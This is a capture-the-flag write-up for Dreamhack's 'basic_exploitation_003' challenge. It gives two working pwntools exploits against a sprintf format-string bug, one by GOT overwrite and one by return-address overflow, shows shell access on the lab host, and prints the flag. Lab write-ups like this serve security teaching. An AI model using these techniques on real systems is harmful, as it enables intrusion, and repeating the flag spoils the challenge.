Categories:

Tags:



Enumeration

System information is as follows.

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

Source code reveals a simple program which reads from the standard input, copies it to a local variable and then print it to the standard output.

┌──(m0nk3y@kali)-[~/DH/basic_exploitation_003]
└─$ cat basic_exploitation_003.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}

Exploitation

Format String

Since the program uses the given input directly with sprintf, I’ll be able to use a format string attack.

To gain a shell, I’ll find the address of get_shell. Next, I’ll find the address of printf which I’ll overwrite with the address of get_shell.

┌──(m0nk3y@kali)-[~/DH/basic_exploitation_003]
└─$ nm basic_exploitation_003 | grep get_shell
08048669 T get_shell

┌──(m0nk3y@kali)-[~/DH/basic_exploitation_003]
└─$ objdump -d basic_exploitation_003 -j .plt

basic_exploitation_003:     file format elf32-i386


Disassembly of section .plt:

08048440 <.plt>:
 8048440:   ff 35 04 a0 04 08       push   0x804a004
 8048446:   ff 25 08 a0 04 08       jmp    *0x804a008
 804844c:   00 00                   add    %al,(%eax)
    ...

08048450 <read@plt>:
 8048450:   ff 25 0c a0 04 08       jmp    *0x804a00c
 8048456:   68 00 00 00 00          push   $0x0
 804845b:   e9 e0 ff ff ff          jmp    8048440 <.plt>

08048460 <printf@plt>:
 8048460:   ff 25 10 a0 04 08       jmp    *0x804a010
 8048466:   68 08 00 00 00          push   $0x8
 804846b:   e9 d0 ff ff ff          jmp    8048440 <.plt>

08048470 <signal@plt>:
 8048470:   ff 25 14 a0 04 08       jmp    *0x804a014
 8048476:   68 10 00 00 00          push   $0x10
 804847b:   e9 c0 ff ff ff          jmp    8048440 <.plt>

08048480 <alarm@plt>:
 8048480:   ff 25 18 a0 04 08       jmp    *0x804a018
 8048486:   68 18 00 00 00          push   $0x18
 804848b:   e9 b0 ff ff ff          jmp    8048440 <.plt>

08048490 <malloc@plt>:
 8048490:   ff 25 1c a0 04 08       jmp    *0x804a01c
 8048496:   68 20 00 00 00          push   $0x20
 804849b:   e9 a0 ff ff ff          jmp    8048440 <.plt>

080484a0 <puts@plt>:
 80484a0:   ff 25 20 a0 04 08       jmp    *0x804a020
 80484a6:   68 28 00 00 00          push   $0x28
 80484ab:   e9 90 ff ff ff          jmp    8048440 <.plt>

080484b0 <system@plt>:
 80484b0:   ff 25 24 a0 04 08       jmp    *0x804a024
 80484b6:   68 30 00 00 00          push   $0x30
 80484bb:   e9 80 ff ff ff          jmp    8048440 <.plt>

080484c0 <exit@plt>:
 80484c0:   ff 25 28 a0 04 08       jmp    *0x804a028
 80484c6:   68 38 00 00 00          push   $0x38
 80484cb:   e9 70 ff ff ff          jmp    8048440 <.plt>

080484d0 <__libc_start_main@plt>:
 80484d0:   ff 25 2c a0 04 08       jmp    *0x804a02c
 80484d6:   68 40 00 00 00          push   $0x40
 80484db:   e9 60 ff ff ff          jmp    8048440 <.plt>

080484e0 <setvbuf@plt>:
 80484e0:   ff 25 30 a0 04 08       jmp    *0x804a030
 80484e6:   68 48 00 00 00          push   $0x48
 80484eb:   e9 50 ff ff ff          jmp    8048440 <.plt>

080484f0 <sprintf@plt>:
 80484f0:   ff 25 34 a0 04 08       jmp    *0x804a034
 80484f6:   68 50 00 00 00          push   $0x50
 80484fb:   e9 40 ff ff ff          jmp    8048440 <.plt>

Using the information found, I’ll write an exploit which will lend me a shell once executed.

┌──(m0nk3y@kali)-[~/DH/basic_exploitation_003]
└─$ cat exploit.py
import sys
from pwn import *

payload= p32(0x0804a010)+p32(0x0804a011)

# *0x0804a010= 0x08048466
fsb= "%1${}c%1$hhn".format(0x69-len(payload)) # *0x0804a010= 0x08048469
fsb+= "%2${}c%2$hhn".format(0x86-0x69) # *0x0804a010= 0x08048669

client= remote(sys.argv[1], int(sys.argv[2]))
client.sendline(payload+fsb)
client.interactive()

By running the exploit, I’m able to gain a shell as the user basic_exploitation_003.

┌──(m0nk3y@kali)-[~/DH/basic_exploitation_003]
└─$ python2 exploit.py host1.dreamhack.games 9616
[+] Opening connection to host1.dreamhack.games on port 9616: Done
[*] Switching to interactive mode
$ id
uid=1000(basic_exploitation_003) gid=1000(basic_exploitation_003) groups=1000(basic_exploitation_003)

Buffer Overflow

Otherwise, we can use format string attack to cause a buffer overflow. To test this vulnerability, I’ll create a payload of the lenght 8, which will be converted to a string of 160 bytes when interpreted as a format string.

┌──(m0nk3y@kali)-[~/DH/basic_exploitation_003]
└─$ perl -e 'print "%156c" . "\xef\xbe\xad\xde"' > input

By inputting the payload via gdb, I’m able to prove that we can indeed overwrite the RET with any bytes of our choice.

gdb-peda$ r < input
Starting program: /home/m0nk3y/DH/basic_exploitation_003/basic_exploitation_003 < input
ECHO :                                                                                                                                                             ᆳ�

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xa8
EDX: 0xffffffff
ESI: 0x1
EDI: 0x20202020 ('    ')
EBP: 0x20202020 ('    ')
ESP: 0xffffd0f0 --> 0x0
EIP: 0xdeadbeef
EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xdeadbeef
[------------------------------------stack-------------------------------------]
0000| 0xffffd0f0 --> 0x0
0004| 0xffffd0f4 --> 0xffffd194 --> 0xffffd332 ("/home/m0nk3y/DH/basic_exploitation_003/basic_exploitation_003")
0008| 0xffffd0f8 --> 0xffffd19c --> 0xffffd377 ("SHELL=/bin/bash")
0012| 0xffffd0fc --> 0xffffd124 --> 0x0
0016| 0xffffd100 --> 0xffffd134 --> 0x9f48ac1f
0020| 0xffffd104 --> 0xf7ffdb98 --> 0xf7ffdb30 --> 0xf7fc33f0 --> 0xf7ffd9d0 --> 0x0
0024| 0xffffd108 --> 0xf7fc3420 --> 0x804835a ("GLIBC_2.0")
0028| 0xffffd10c --> 0xf7fa7000 --> 0x1ead6c
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xdeadbeef in ?? ()

Using the information found, I’ll write an exploit which will lend me a shell once executed.

┌──(m0nk3y@kali)-[~/DH/basic_exploitation_003]
└─$ cat exploit.py
import sys
from pwn import *

fsb= "%156c"
eip= p32(0x08048669)

client= remote(sys.argv[1], int(sys.argv[2]))
client.sendline(fsb+eip)
client.interactive()

By running the exploit, I’m able to gain a shell as the user basic_exploitation_003.

┌──(m0nk3y@kali)-[~/DH/basic_exploitation_003]
└─$ python2 exploit.py host1.dreamhack.games 9616
[+] Opening connection to host1.dreamhack.games on port 9616: Done
[*] Switching to interactive mode
ECHO :                                                                                                                                                             i\x86\x04

$ id
uid=1000(basic_exploitation_003) gid=1000(basic_exploitation_003) groups=1000(basic_exploitation_003)

Post Exploitation

With the shell acquired, I’m able to read the flag.

$ cat flag
DH{4e6e355c62249b2da3b566f0d575007e}